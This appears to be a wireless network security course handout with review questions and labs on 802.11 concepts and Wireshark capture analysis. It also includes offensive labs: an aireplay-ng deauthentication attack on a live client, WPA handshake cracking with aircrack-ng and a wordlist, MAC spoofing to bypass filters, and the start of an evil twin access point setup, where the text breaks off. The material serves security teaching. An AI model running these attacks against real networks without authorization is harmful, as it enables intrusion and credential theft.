Wireless Network Security (WNII) – Review Exercises

Section 0 Getting Acquainted with Linux

About one-third of the Wireless Security objectives focus on vulnerabilities, threats, and attacks. Attackers and penetration testers will often use ready built Linux attack platforms to accomplish their goals. As a security focused professional, you would benefit from knowing some of the tools and commands common across many Linux distributions. The following are a few of the most common commands and their usage at the command line. More in-depth information about each can be found in their respective "man" pages, e.g. **`man cat`** to learn more about the options, arguments, usage, and examples for the *concatenate* command.

To open a terminal, press the ***Linux Super*** key (Windows key). In the dialog box, type in *terminal*, then select the appropriate MATE Terminal icon. This will open an unprivileged user terminal for the user: *puser*. You can have several terminals open, however, you should ensure you maintain your situational awareness as you can have each one inside a different directory with different privileges. By default, the terminal opened will put you in your user's ***home*** directory.

First at the command line, run **`pwd`** . This will print the current/working directory (CWD). This is basically where you are currently in the file system hierarchy. Everything in Linux begins at top or the root of the file system as indicated by a forward slash (**/**). Windows users would understand this as the top of the C drive. Everything else in Linux is a directory or file underneath this structure. Another important note is Linux is case sensitive. Unlike Windows, there is a distinction between upper and lower case.

```
$ pwd

/home/puser
```

Next list the contents of the current directory with **`ls`** . Pass the **`-l`** (dash lowercase L) option to show the listing in long format.

```
$ ls -l
```

You can change directories from the current directory into any other one in the filesystem if your user has the privileges to do so. Use the **`cd`** command along with a path to an existing directory in the filesystem hierarchy. Filesystem paths can be relative to your current directory or can be specified absolutely beginning with the forward slash irrespective of the current directory location.

```
$ cd Captures                (Assuming the Captures directory exists at the current location)

$ cd /home/puser/Captures    (Starting from the top and working down)
```

Creating (making) a new directory can be accomplished with **`mkdir`** .

```
$ mkdir wardrives            (Create a new directory named wardrives underneath CWD)

$ mkdir /home/puser/Captures/wardrives          (Assumes all parent directories exist)
```

Making copies of and renaming files and directories with the **cp** and **mv** commands typically requires two arguments to the command in a SOURCE DESTINATION order. As with the previous examples, the source and destination can be specified relative or absolute. The move command can be used to rename files when the destination does not exist in the file system.

```
$ cp file1 wardrives/      (Will make a copy of file1 inside the wardrives directory)

$ cp /home/puser/file1  /home/puser/Captures/wardrives          (Using absolute paths)

$ mv file1 wardrives/      (Will remove file1 from CWD and move it into wardrives)

$ mv file1 testdrive1      (Will rename file1 to testdrive1)

$ mv /home/puser/file1  /home/puser/testdrive1                  (Using absolute paths)
```

Deleting (removing) files and directories is done the **rm** command. The permissions set on the file or directory will determine if your user can delete the object. Directories normally need to be empty to delete them.

```
$ rm testdrive1                 (Will delete the file named testdrive1)

$ rm /home/puser/testdrive1     (Using absolute paths)

$ rm -r wardrives/         (Recursively remove the empty directory wardrives from CWD)

$ rm -rf wardrives/        (Recursively remove wardrives directory regardless of contents)
```

There are a few other commands that you should get acquainted with from the command line. Use the **man** pages to get a brief description and their usage. When man pages are opened in a terminal, help can be obtained by pressing the **h** key.

7z:

cat:

file:

find:

grep:

gzip:

head:

less:

lsusb:

tail:

tar:

You will be using other tools and applications besides the built-in BASH terminal command line interface. You will need to be familiar with the protocol analyzer, **Wireshark**, that will help you analyze 802.11 radio captures in real time to identify networks and devices. You can also examine capture files created with other tools such as ***tcpdump*** and ***tshark***. We will focus most of our Wireshark time looking at previous captures. The captures used for this course are zipped up in your Captures directory under the default user's home directory. Unzip them.

$ cd /home/puser/Captures	(Use **ls** to view what's there already)
$ 7z x wireless_survey.7z	(eXtracts the contents of the 7z file)
$ cd wireless_survey	(Switch into the new directory)
$ ls -l	(See what's there)

Use Wireshark to open any of the capture files in the directory just created by the 7z tool.

$ sudo wireshark abg_public.cap	(Run as root; Click OK on the LUA error)

Going across the top of the Wireshark window are the main menu items beginning with "File." Immediately below the main menu items is the "Main Toolbar" with icons. Below the Main Toolbar is the "Display Filter." In this filter space you sort through and selectively display different details of interest inside capture files. Some example *display filters* are at the very end of this exercise handout. The first pane below the display filter area is the "Packet List" window. Below that is the "Packet Details," and below that is the "Packet Bytes" window. Selecting a packet in the *packet list* pane will change what is displayed in the panes below. Sections of a packet can be expanded and collapsed in the *packet details* pane by clicking on the arrows (>) on the left of the pane. Any interesting information found in these sections can be *included* or *excluded* in a filter by right-clicking on the information and selecting "Apply as Filter." For example, if you wanted to sort through all the packets in the entire capture by *receiver address*, you would first need to expand the IEEE 802.11 field, right-click on the MAC address, Apply as Filter, Selected. This will update the display filter near the top. If the filter worked, at the very bottom of the Wireshark application window you have the "Status Bar" that will give an updated account of the total packets in the capture and what percentage (%) of the capture file meet the new display filter criteria you just applied.

One Last Thing: Please do not update your Parrot virtual machine when you are prompted after it reboots.

Section 1 Wireless LAN Components and Topologies Review Questions

This short exercise is focused on key concepts and terms that you will see throughout wireless technologies and topics. Explain or answer the following.

1. What comprises a Basic Service Set? In other words, what are the minimum components?

2. What is another term for the wireless network name?

3. What type of addressing identifies wireless clients to each other and the access point?

4. Explain the difference between a Basic Service Area and Basic Service Set.

5. What utility or purpose would a heat map serve?

6. How many access points are required to establish an Independent Basic Service Set?

7. Client stations can be in one of two modes. What are they and in which type of service sets would you find each?

Section 1 Wireless LAN Components and Topologies Lab

You will use the Wireshark protocol analyzer application to examine some 802.11 radio captures. Wireshark is tool that administrators and penetration testers can use to analyze traffic and aid in identifying networks and devices.

Open Wireshark from the command line using the command **`sudo wireshark channel6_public.cap`** file.

Select the "Wireless" from the top menu bar. Then select "WLAN Traffic." This window shows WLAN statistics for this capture file. Sort the SSID column and identify the BSSID for the following networks. Remember the BSSID is the MAC address of the access point.

1. attwifi BSSID:
2. Xfinitywifi BSSID:
3. Starbucks WiFi BSSID:
4. BaguetteCampus (Panera Bread) BSSID:

Next, identify the vendor or manufacturer of the AP based on the OUI of the BSSID.

5. attwifi Vendor:
6. Xfinitywifi Vendor:
7. Starbucks WiFi Vendor:
8. BaguetteCampus Vendor:

Now that you have identified the MAC addresses of some networks, apply a filter to determine how many frames are associated with each in the capture. In the filter window, apply a write a filter to identify the number of frames, using **`wlan.bssid==<xx:xx:xx:xx:xx:xx>.`** The number of selected frames can be found in the lower right of Wireshark. Clear the filter after each use with the red X to the right of the filter window.

9. Attwifi:
10. Xfinitywifi:
11. Starbucks WiFi:
12. BaguetteCampus:

Bonus: This capture file was collected in the Augusta, Georgia area. Can you tell the location within a few hundred feet of where the survey occurred? How did you find out? Keep in mind how far or limited wireless signals may travel.

Section 2 Security Standards and Overview

Another short review to reinforce key concepts and terms that you will see throughout wireless technologies and topics. Explain or answer the following.

1. How would you summarize the role of the Wi-Fi Alliance when it comes to 802.11 technologies?

2. Regarding the OSI model, where do 802.11 communications take place? In which major layers? What are the names of the sublayers?

3. The FCC is a regulatory domain authority. What are four characteristics of 802.11 wireless communications in which the FCC regulates?

4. What are the frequency bands in which unlicensed 802.11 communications operate?

5. 802.11g devices can be backwards compatible with which other 802.11 devices?

6. With the ratification of the 802.11i amendment, wireless network security was enhanced in three major areas. What are those areas and how did the amendment define each?

7. Robust Management Frame protections are meant to address what 802.11 security shortfalls? How well does the amendment address Layer 1 issues?

8. In 2009, the 802.11n amendment was ratified. Devices that are 802.11n certified can operate in what frequency bands?

9. Are 802.11n devices that operate in 2.4 GHz channels compatible with the newer 802.11ac devices and access points? Why or why not?

10. Regarding the concept of Core, Distribution and Access, where are you most likely to find wireless bridges?

11. Regarding 802.11ax, what is the advantage over 802.11ac OFDM?

Section 3 WLAN Devices and Architecture

More review questions to reinforce key concepts and terms that you will see throughout wireless technologies and topics. Explain or answer the following.

1. What are the categories of client utilities?

2. How does a client utility differ from an operating system driver?

3. The logical planes of operation correspond to the categories of wireless frame types. What are the logical planes and how are each used?

4. In a centralized wireless architecture, the WLAN controller takes on a significant role. Which logical planes are found at the WLAN controller? Which type of access points are controlled by the WLAN controller?

5. Cooperative access points are found in which type of Wireless LAN architecture? How would an organization quickly grow that type of architecture?

6. A Wireless LAN Bridge is a special category of Wireless LANs. Describe the role of the non-root bridge and where it would fit into a point-to-point set up?

7. What are some additional features an organization would benefit from with a commercial-class access point?

8. What advantage would be gained from setting up a Single Channel Architecture?

Section 3 WLAN Devices and Architecture Lab

We will be using the USB wireless cards. It is important to know the details of the model of the wireless card you will be using for pentesting and network evaluations.

1. Note the model number and MAC address of the wireless card if you can find it:

   Model # _____

   MAC Address: _____

2. Plug in the wireless card into a USB port. After you plug it in and it settles down, open up a terminal window and run **`lsusb`** to get the chipset information. The **`lsusb`** command list devices that are connected to the USB bus. To get a verbose output, try **`-vv`**.

   `# lsusb`: _____

   _____

3. Next, find the driver associated with the wireless card(s) using **`airmon-ng.`**

   Displayed as PHY, Interface, Driver, Chipset

   `# airmon-ng:` _____

Now that we have an idea about our driver and chipset, visit the aircrack-ng website, *https://www.aircrack-ng.org/doku.php?id=compatible_cards* and see if your wireless adapter is compatible with Linux for wireless pentesting and surveys.

Newer versions of the Linux kernel support newer wireless drivers. With new kernels and drivers come newer command line configuration tools. The command **`iwconfig`** is being replaced by the newer **`iw`** command. The **`iw`** command is used to show or manipulate wireless devices and their configurations.

4. Use the **`iwlist`** command, which is one word and slightly different from **`iw`**, to view the frequencies supported by your wireless adapter. Also, find the transmit power.

   `# iwlist <your interface> frequency`

   `# iwlist <your interface> channel`

   `# iwlist <your interface> txpower` _____

   Hint: You may need to turn on the wireless adapter to see txpower, or try running the command a few times to see any results. If not, run **`iwconfig`** again and look at the output.

5. Read the detailed information about options and WLANs in the RF vicinity.

   `# iwlist <your interface> scanning`

   How many SSIDs are visible? _____

   How many bands/frequencies are available? _____

Section 4 802.11 MAC Architecture

Now that you have been bombarded by wireless terms and definitions, review the following or answer the following.

1. In which 802.11 frame type would an analyst find layer 3 and higher data?

2. The maximum transmission unit (MTU) for 802.11 wireless networks is different from 802.3/Ethernet. In fact, it is larger. How does an access point handle the MTU differences?

3. With which amendment(s) would an analyst see aggregated data frames, those exceeding the original MTU for wireless networks?

4. In which layers of the OSI model would an analyst see a MAC Layer Protocol Data Unit (MPDU) and Physical Layer Service Data Unit (PSDU)?

5. Beacon frames originate from which type of device or station?

6. What 802.11 network device assumes the role of a portal? What is the role of the portal?

7. In a wireless network that employs encryption, which frame type(s) is/are encrypted and in, which parts of the frame(s).

8. State four types of information that can be seen inside of a Beacon frame.

9. Why do clients listen to and probe for other networks despite being currently associated with an access point?

10. Open System Authentication implemented in the most secure wireless networks. How is this possible or why does this make sense?

11. After a client forms a Layer 2 connection with an access point, the client receives an Association ID (AID). What is the purpose of an AID?

12. What is the name of the protection mechanism used in networks that support both 802.11b and 802.11g clients?

13. 802.11n networks that only support other 802.11n devices are considered to be what mode of operation?

14. How do client stations inform their access point that they are running on battery and will sleep to conserve its power?

15. Each data frame sent to a client should be followed up by which type of response?

Section 4 802.11 MAC Architecture Lab

The next set of questions can be answered with the **umbctc_2.4.cap** capture file. As you examine the file searching for the answers, keep in mind that 802.11 RF based networks work using the CSMA/CA method. Wireless network captures only give you insight into the network from where you surveyed the data. Meaning that we might not "hear" both sides of a conversation because of where our physical location was at the time of the survey.

Use some of the Wireshark filters from the slides and from the back of this handout as you go through the capture file. Try and combine some with Boolean logic (AND, OR, NOT).

Start by examining **frame #3**. This is a management type frame, specifically a beacon that originates from an access point. Open up each field in the packet details pane.

1. What is the Subtype under the Frame Control Field?

2. Right-click the Subtype and apply as a selected display filter. This should sort out and display only beacon frames in the capture file. Notice the new display filter near the top in green. How many frames out of the entire capture are beacons? When you're done with the display filter, be sure to clear it.

3. What is the destination MAC address? What is the source MAC address?

4. Examine the IEEE 802.11 Wireless LAN, Fixed Parameters section. What is the Beacon Interval? On what channel does this AP operate?

5. Look at the Traffic Indicator Map. How many clients by AID have data waiting at the AP?

6. Open up the Tagged Parameters. Based on the information found here, what type of AP are you looking at? Specifically, is this an 802.11b, g, a, or n access point? How can you tell?

7. What can learn about the manufacturer and chipset of the AP and its radio(s)?

For the next set of questions, look at **frame #102**. This is a probe request that comes from a client looking for a wireless network.

8. What type for probe is here? What is the SSID of the wireless network for which the client seeks?

9. On what channel was this probe sent?

10. Similar to questions 6 and 7 from earlier, what type of client is this?

11. What access point(s) responds to the request seen in frame #102?

Look at **frame #639**. What type of management frame is this? Characterize what this station is doing?

Apply a display filter to sort out all wireless frames associated with the client's MAC address. This will help put into context what we seen about this client.

wlan.addr == <MAC of target client>

12. What is happening before and after this probe request regarding this client? Why is there a probe request despite this client already associated with an access point?

Examine **frame #577**. Apply a new display filter to sort for this specific Apple device by MAC.

13. What type of management frame is seen here in #577?

14. Was this Apple device previously connected to another access point before it started talking to the Ubiquiti access point in #577? Why do you think occurred?

15. Try to follow the sequence of events with the Apple device after frame #577. Why did we not see the authentication request prior to #577. Does the Apple client and this new access point exchange any data frames beyond any management frames?

16. Jump to **frame #6610**. Another unique management frame. What just happened? Did anything precede the disassociation between these two radios?

17. What side of the communication initiated the disassociation in frame #6610 and why?

18. The access point in frame #6610 has what wireless network name? What sort of security settings are being advertised out by the access point? This may require you to apply some more filters to get the information.

19. Sort through the entire wireless capture file for all Requests-to-Send and Clear-to-Send control frames. How many in total are there in the entire capture? You can apply one filter note the count then apply another filter and count those, then add them together.

For the next portion, look at **frames #556** and **#557**.

20. What amount of time has been calculated by the requestor?

21. After the request, you see a Clear-to-Send frame. Why the difference in duration times?

Section 5 Security Architecture

1. What additional security features could you find being implemented with a wireless LAN controller? Name three.

2. If an organization wants to help ensure their wireless network can rapidly grow with the company, what type of architecture would they opt for?

3. When using centralized data forwarding, how does data get from the access point to the WLAN controller?

4. What is an example of two management protocols that could be used to configure access points and monitor their status?

5. What is a good use case for a Virtual Private Network in a modern wireless network?

6. Again, what are the three planes of operations that map to the wireless frame types?

Section 6 Legacy Security

1. What are the types of authentication used in wireless networks? Which one of the types would most likely be seen in the wild even with robust secure network?

2. Between authentication and association, which occurs first?

3. When does a client and access point have a “layer two connection” between them?

4. There are two types of ciphers used to encrypt wireless network traffic. What are they and which one is used in WPA and which is one is mandatory in WPA2 networks?

5. What are the resultant static key lengths used in WEP networks?

6. Which type of network traffic would see the use of a Pairwise Transient Key? Group Temporal Key?

7. What benefit comes from using TLS Virtual Private Networks?

8. Some enterprise-class access points allow for the broadcasting of 8 or more unique network names (BSSID). Although this is possible, why is it not recommended? What would you recommend to an organization?

9. How can an attacker defeat the implementation of SSID hiding?

10. What is an example of getting around a MAC filter?

Section 6 Legacy Security Lab

For this next go-round, use the capture file **belkin_hidden.cap** to answer some questions regarding legacy security speed bumps.

1. What is the name of the wireless network that is advertised in **frame #1**?

2. Apply a display filter to only show the wireless frames going to or being sent by the client MAC address **44:80:eb:7e:3f:85**. How many frames are displayed with your filter? What was the syntax of your filter?

3. Using the same display filter from the previous question, what station initiates communications where MAC **44:80:eb:7e:3f:85** is an addressee? What type of frame and subtype do you see? What device would have given up the wireless network name causing the original network name in frame #1 to be revealed?

4. Examine the packet details section of one of the probe responses tied to the BSSID from frame #1. Anything catch your attention? Do any research as needed.

5. Characterize the sequence of events and frames between the same access point and the client (44:80:eb:7e:3f:85) following the last probe response in **frame #613**. Apply filters to only focus on the two MAC addresses.

Patience is important part of a good tradecraft. With the right application of tradecraft, you can go relatively unnoticed in the target space. A client will likely "de-cloak" a hidden network for us given time. If you get impatient or the mission requires it, you can de-cloak the network sooner by using a few tools provided with the **Aircrack-ng** suite. The next steps will get you familiar with the active process of kicking a client from its access point temporarily. These steps will help you gain insight into how the tools work and what wireless network traffic is created. You will need to create a capture file (**-w** option) when using **airodump-ng** so you can analyze it later to better understand the sequence of events. *You will target a legitimate client and access point*. *Proceed with caution. Read the entire sequence before starting.*

1. Attach a wireless card to the Guest VM operating system. Your choice for a wireless card should include those that support the functions of packet injection and monitor mode. You will use both functions. Verify the card is recognized.

   ```
   # iwconfig                    (See that a device wlan0 appears)
   ```

2. Set the wireless card into monitor mode. The name of the card might vary.

   ```
   # airmon-ng start wlan0       (This creates a new wireless device, wlan0mon)
   ```

Section 6 Legacy Security Lab (cont.)

3. Listen to the airwaves in monitor mode. Select a single client that is already associated to a Target AP (BSSID). Note the MAC address of each. These will be used later with the **aireplay**

   tool. These next commands are generalized, modify as needed to meet the mission. Do not forget to add the **-w** option to save the output. Be as specific with the other option as needed.

   ```
   # airodump-ng wlan0mon                          (By default this will listen on ch. 1-14)
   # airodump-ng --band a wlan0mon                 (Will listen in 5GHz band)
   # airodump-ng --channel 1,6,11 wlan0mon         (Only on channels 1, 6, and 11)
   # airodump-ng --bssid <MACofAP> --channel <Channelof AP> wlan0mon
   ```

4. You need the two MAC addresses from the previous step. Aireplay-ng supports a number of attacks including a deauthentication attack (--deauth). Both end stations will receive deauths spoofed from the other side of the current layer two association. For example, the client station will receive a series of deauth frames from your wireless card using the spoofed MAC of the access point and vice versa.

   ```
   # aireplay-ng --deauth 1 -a <MACofAP> -c <MACofClient> wlan0mon
   ```

   A count of one for the *deauthentication* attack can also be used to push a client off a wireless network temporarily. The client will then try to rejoin the same network. During this, the SSID is used in a probe request frame from the client. This frame would give up the true wireless network name if SSID cloaking was in use.

You should have a capture file with all wireless frames you generated during the attack and the communication between the real client and access point. Use your capture to answer the following questions.

1. How many deauths frames were sent as part of the aireplay-ng attack? How many in each direction to the AP and the client? You sent them, you should know.

2. After the last deauth, what do you observe the client doing? Does it immediately connect back up the same access point? If it does, what is the sequence of events between the access point and client?

Section 7 Encryption

1. What part of the Confidentiality, Integrity, and Availability (CIA) triad does encryption help ensure?

2. If a wireless network implemented encryption at Layer 2 which category of encryption algorithms would likely be used?

3. The Advanced Encryption Standard is a cipher that is found in which Wi-Fi Alliance certification and is a full implementation of the 802.11i amendment?

4. Streaming ciphers are optional under which 802.11 amendment?

5. Encryption protects which part of the 802.11 data frame?

6. The demarcation in time between pre-RSNA and RSNA occurs where in history?

7. What does the acronym CCMP mean?

8. What is another name for a nonce?

9. Two 802.11 amendments state that WPA and TKIP cannot be used in High Throughput and Very High Throughput networks. What are those amendments that refer to those networks?

10. The result of applying an encryption algorithm to plaintext results in what?

Section 7 Encryption (cont.)

11. Why is it that the Rivest Code 4 cannot be used in 802.11n and newer networks?

12. Describe the Dragonfly key exchange process.

13. WPA3 is a Wi-Fi Alliance certification. What is the defined Transition Mode.

Section 8 Dynamic Encryption Keys

1. In an Enterprise wireless network, when is the Master Session Key generated? After which step?

2. What are the names of the two Master Keys and what are their purposes?

3. How are dynamic keys not susceptible to social engineering?

4. Despite both the client and access point having the same passphrase, how is it that dynamic keys are generated from a static passphrase?

5. In an 802.11ac network, how often would an analyst see the use of TKIP and the RC4 streaming cipher?

6. Define a Transition Security Network.

7. How does a client station determine which security capabilities a service set supports?

8. Which part of the 4-way handshake does the exchange of the Group Temporal Key occur?

9. What is the purpose of the 4th EAPOL frame in the 4-way handshake?

10. When using a pre-shared keys in a personal wireless network, what other information is needed to generate the Pairwise Master Key?

Section 8 Dynamic Encryption Keys Lab

Wi-Fi Protected Access (WPA) is a security implementation and certification prior to the release of the 802.11i standard. WPA has two modes, Personal and Enterprise, and uses TKIP/RC4 encryption algorithms. WPA2 is a certification that is fully compliant with the 802.11i standard. It, too, has two modes, Personal and Enterprise. WPA2 uses AES/CCMP encryption algorithms. With either WPA or WPA2 personal, a Passphrase is used to seed the key derivation functions used by the STA and the AP. The Passphrase along with the SSID are passed through a key derivation function that outputs a 256-bit Pre-shared Key (PSK) which is also known as the Pairwise Master Key (PMK). To generate the actual key used to encrypt traffic between the STA and the AP, a Pairwise Transient Key (PTK) has to be generated. The PTK is used to encrypt the data payload of 802.11 frames. This data payload, the MSDU, is the layer 3-7 data passed between the STA and the AP.

The generation of the per-session PTK requires four more pieces of data: The Authenticator Nonce, Supplicant Nonce, Authenticator MAC, and Supplicant MAC. The supplicant is synonymous with the client or device. The authenticator is the access point. A Nonce is a random number, a *n*umber used *once*.

It should be clear at this point that we can determine or use tools to help find the PTK from the other four pieces of data because the function to generate the PTK is not a secret. So how do we get the other pieces of data? We capture it in raw 802.11 form. The process to exchange the data between the AP and the STA is also known as a four-way handshake. Once we have the handshake, we can use a cracking tool and a dictionary to try the different letter combinations in the dictionary to attempt to find the PTK. The PTK can be reversed mathematically to find the passphrase. Don't worry, you won't have to do any math for this lab. The dictionary is only going to work if the actual letter combination of the passphrase is in included in there. With this information, we can deduce that these dictionaries may be large files if it is going to contain all the letter, number, and special character combinations.

In the capture file, **carWifi.cap**, exists a four-way handshake. **Aircrack-ng** is installed on your Linux workstation. Also bundled with this Linux are wordlists that serve as dictionaries. There is one called mod_rockyou.txt that is zipped up in a directory. You will have to unzip it to use it.

Use the **carWifi.cap** file to answer the following questions. Although the end goal for this lab is to recover the wireless passphrase, you can learn a lot about the steps that lead up to the four-way by focusing in on the target client in the capture. Recall the AKM Soup to Nuts process. It all begins with the *Discovery* phase.

1. Sort through the capture file to display only EAPOL (EAP over LAN) messages. How many 4-ways, complete or partial are in this capture? What are the MAC addresses of the client(s) and access point(s)?

2. Sort out the extraneous frames and narrow in on the Motorola client. Create a new display filter (wlan.addr == <MACofTarget>. How many frames include the Motorola target?

3. Are there other networks that the Motorola target was connected to recently before participating in the four-way exchange with the new access point? How can you tell?

4. Diagram out the exchange of frames starting with discovery of the new access point and ending with the last frame of the four way. This will help you better understand the whole exchange that occurs between a client and an access point. It should also give you insight into ways that you may be able to take advantage of clients and access points.

Now let's get cracking… Research and try to crack the passphrase. This will take some time to finish. Once started, move along and try to answer some of the other questions here. Just check back to see the progress. Generally, you can use the command here with modifications to suit your need for this lab:

```
# aircrack-ng -w mod_rockyou.txt carWifi.cap          (You may need to specify paths)
```

5. What dictionary did you use and how did you find it? What is the full path to the dictionary?

6. What commands did you use to crack the handshake if you were successful?

7. How many keys were tested?

8. If you are successful, what is the passphrase?

9. How do you think the 4-way handshake was captured? Was the forced off? Look for any frames that lead up to the authentication phase between the targets.

10. How could we get a four-way exchange if a client was already authenticated and associated to our target wireless network?

Once we have found the pre-shared key and if it's in our plan, we could authenticate and associate with the target wireless network and start poking around. Remember tradecraft. What initial situational awareness information can we get, or should we get?

Section 9 Preshared Keys

1. The passphrase-based key derivation function results in what when combined with the SSID, the SSID length, and passphrase?

2. What size is the resulting Preshared Key?

3. How are the Preshared Key and the Pairwise Master Key related?

4. When using the protocol analyzer Wireshark, what is the protocol type filter used to identify frames used during the four-way handshake?

5. Despite the use of dynamic encryption keys, what is the risk of using a passphrase over something more extensible for authentication?

6. At least how long and of what characteristics should passphrases be comprised?

7. What benefit, if any, would using a proprietary preshared key solution gain an organization?

Section 9 Preshared Keys Lab

This next exercise is an extension of the previous lab. You will use the **belkin_4way.cap** file. Your target network is tied to a Belkin access point. Your goal is to gain access to the wireless network. You have a capture file that will assist you in your operation. If you recover the passphrase, join the network and think about what you might do once you are a host (client) in the wireless network. You must focus on some objective defined before you even get here. Research and tradecraft are just as important as your technique. You may not have to crack the WPA passphrase.

1. What is the wireless network name and channel?

2. What type of robust secure network is advertised? TKIP, CCMP, WEP?

3. What is the MAC address of the access point? How many clients are associated with the access point in the capture file?

4. How many frames are tied to the MAC address of the access point? In other words, how many frames include the MAC as some addressee? Apply a display filter.

5. What is the MAC of the client that takes part in the four-way exchange? Is it a complete 4-way? How do you know?

6. Was the client in the 4-way ever connected to another wireless network? What would you look for in the capture file?

7. How many characters are seen in the Nonces?

8. If you were successful in recovering a passphrase, how did you recover the passphrase?

Connect to the Belkin network. This may be a manual process, or you could use the GUI network manager tool. You will need to make sure your wireless card is attached to the guest virtual machine and the mode is ***managed*** and not monitor. These next few commands might help to get your wireless card back into managed mode.

```
# ifconfig wlan0 down
# iwconfig wlan0 mode managed
# ifconfig wlan0 up
# systemctl restart networking
# systemctl restart NetworkManager
```

1. If you connected to the wireless network, what is the IP address (inet) and subnet mask (netmask) you received for ***wlan0***? What is the default gateway?

```
# ifconfig wlan0          (Look for inet and netmask in the output)
# route -n                (Look for the gateway associated with Iface wlan0)
```

Section 10 802.1X and EAP

1. What are some other examples of AAA solutions beyond RADIUS?

2. State three ways a client or user can try to prove who they are?

3. A RADIUS solution need not be an independent server in a data center, where else or in what other devices can a RADIUS service exist?

4. 802.1X is a solution carried over from Ethernet networks. From a high level, what does port-based access controls bring to a wireless network?

5. What are the three critical roles in an implementation of 802.1X?

6. From those roles, provide an example of each.

7. Prior to successful authentication, non-EAP traffic is contained by which type of port?

8. When troubleshooting communications between an Authenticator and Authentication Service, what are some things to consider or double-check?

9. Certificates can be used to create tunnels for further use of what authentication methods?

10. What's the big deal with using MS-CHAPv2?

11. Tunneling makes use of how many sets of credentials and how from a security perspective can you use to help detect attackers?

12. Name one EAP type that supports mutual authentication.

Section 11 RADIUS and LDAP

1. What roles does a RADIUS fulfill in an enterprise network?

2. There are two relevant RFCs that address AAA, what are they and which ones address the components of AAA?

3. If an analyst had network traffic captures for communications starting at the wireless client and going all the way to an LDAP server, what network protocols might be observed?

4. Where would a password or shared secret be needed in the implementation of a RADIUS service?

5. What ports should be checked or verified when using a RADIUS service?

6. Attribute Value Pairs can be used to extend network security in what ways?

Section 12 Security Risks and Threats

1. Big deal…we have a rogue device. What are the dangers of a rogue device in an organization's network?

2. What measures can an organization implement to help prevent the use of rogue access points in the network?

3. What is the difficulty level in detecting passive scanning?

4. How does passive scanning differ from network stumbling?

5. With wireless network adapters, it may be possible to set the mode as monitor. What does that mean and what is the equivalent to monitor mode in a wired Ethernet network?

6. Analyzing the wireless frames originating from an access point can be valuable to an attacker how?

7. Management Frame Protections will prevent all denials of service, right? How or how not?

8. A physical layer denial of service may be a precursor to what follow-on attack? How can a wireless network security professional identify a layer 1 denial of service?

9. An attacker can get around your awesome MAC filtering how?

10. How might an attacker capture credentials or social engineer a user on an open wireless network?

11. What dangers are posed by allowing ad-hoc wireless connections in company-owned equipment already connected to the network?

12. State two preventative measures for employees that use untrusted wireless network.

Section 12 Security Risks and Threats Lab

Before we dive into some more command line, ensure the Panda Wireless card is connected.

If using VirtualBox, this is done by selecting from the top menu of the running VirtualBox machine: Devices, USB, Ralink 802.11 n WLAN, Connect (Disconnect from host). If done correctly, then a check mark will appear next to it. To disable, uncheck the box. We need it enabled for these labs.

1. There are multiple copies of oui.txt document on these Linux machines. This document has the OUI for each vendor associated with a network interface cards—wireless or wired. Find each oui.txt on your local Linux box and place a copy of the *largest* one on your desktop. The following command will find it, count the number of lines in the file and display it to you with a path. The higher the line count, the greater the entries that are found in it.

   $ sudo find / -iname oui.txt -exec wc -l {} \;

   $ sudo find / -iname oui.txt | xargs wc -l

   $ sudo find / -iname oui.txt | xargs ls -l

   What is the absolute path of the original local copy of ieee oui.txt?

   $ cp <path to largest ieee oui.txt> ~/Desktop/.

2. Locate the MAC address(es) of your *virtual* Linux box. The MAC address is labeled "**ether**."

   $ ifconfig -a

   What is the 48-bit MAC address(es) of your wireless card?

3. Search through the oui.txt file to locate the manufacturer and address of your adapter(s). Even if you search correctly, you should **not** find it. Why do you think this is the case?

   $ grep -i <yourOUI> ~/Desktop/oui.txt (Replace the OUI)

4. Many networks use a white list of allowed or permitted MAC addresses that can associate with a wireless network. It is used in many guest hot spots as an authorization method. MAC filters and white lists can still be found implement in enterprise networks despite the ease of bypassing them. Use **macchanger** and its help to view your current/permanent MAC address of your wireless interface. Change your wireless interface MAC address to a randomly generated one, then back to the permanent one. After each step, verify any changes with **ifconfig** command. Try and figure out the usage and do so. You will likely have to turn off the wireless interface before switching any of the properties if you get a "device busy" error message. After you change the MAC, be sure to turn it back on.

   $ macchanger --help

   $ sudo macchanger [options] device

   $ sudo ifconfig <yourDevice> down/up

Section 12 Security Risks and Threats Lab (cont.)

5. What commands did you use to view the current MAC address, change it, and revert to the permanent MAC?

6. What was the MAC address of the wireless adapter before, permanent, and after?

7. Research where to find and what the timeout is set as for your local ARP cache. Having this knowledge will help you if you ever attempt a man-in-the-middle attack. What is the path of the file you found and what is the current value? Hint: 7th section man page for arp.

Reboot the physical or virtual machine to revert the MAC address you changed. As an alternative, use **macchanger** to set it back to its permanent MAC.

Section 12 Security Risks and Threats Lab (cont.)

In this exercise, you will create a software-based access point using the command line tool **hostapd** and **dnsmasq** and bridge it to an existing network interface with Internet access in VM. This technique can be used to set up an **evil twin** access point. Read each step before completing. *Do not forget to do the last numbered step, at the end with iptables.*

1. This setup uses a VirtualBox ParrotOS guest that already has a bridged connection via the host operating system and its connection to an existing wired or wireless network. Inside the virtual guest, it is assumed that internet connectivity is through the first Ethernet connection, **eth0**. Verify the connection and Internet connectivity. Troubleshoot as needed.

```
# ifconfig                  (eth0 with an IP address)
# iwconfig                  (Check for your wireless card)
# ping www.google.com       (This verifies DNS and Internet connectivity)
```

2. Verify the command line tools **hostapd** and **dnsmasq** are installed. If you get an executable path for each after running the following, skip step 2 and proceed to creating the configuration files in step 3.

```
# which hostapd dnsmasq     (Will show a path to each if installed)
```

   *Only do these remaining steps if **hostapd** and **dnsmasq** are NOT installed.* Install **hostapd** and **dnsmasq** through the APT package manager as root. These steps will generate a lot of textual output and will likely prompt you during the update and install for some action on your part. Read the messages, choose wisely. First, we need to update the repository information in the file: /etc/apt/sources.list.d/parrot.list. Change the only uncommented line to read exactly as the following, save changes, and exit the editor.

```
deb http://mirrors.mit.edu/parrot/ rolling main contrib non-free
```

   The install will pause a few times while you install the tools. The first message is just informational, choose "**q**" to quit. The second is about restarting services, choose "**yes**." The next pause is prompting you for a decision on what to do about a configuration file and an updated version, choose **N** to keep the currently-installed version.

```
# apt update                (Updates your repository information)
# apt install dnsmasq hostapd   (Will install or update the existing packages)
```

3. Next, create an access point configuration file for **hostapd** using an editor in your home directory. There is a large template configuration file with everything imaginable as a reference located in the directory: /usr/share/doc/hostapd/examples. It is zipped up as hostapd.conf.gz. You only need 4 lines to configure the first part of your software-based access point. These four lines will create an open wireless network. Later you will implement the use of encryption. You will create a text file using your favorite text editor for Linux.

Step 3 continued. Create a configuration file in your home directory with the visual editor:

```
# vim hostapd.conf                    (Put the first 4 lines below in the conf file)

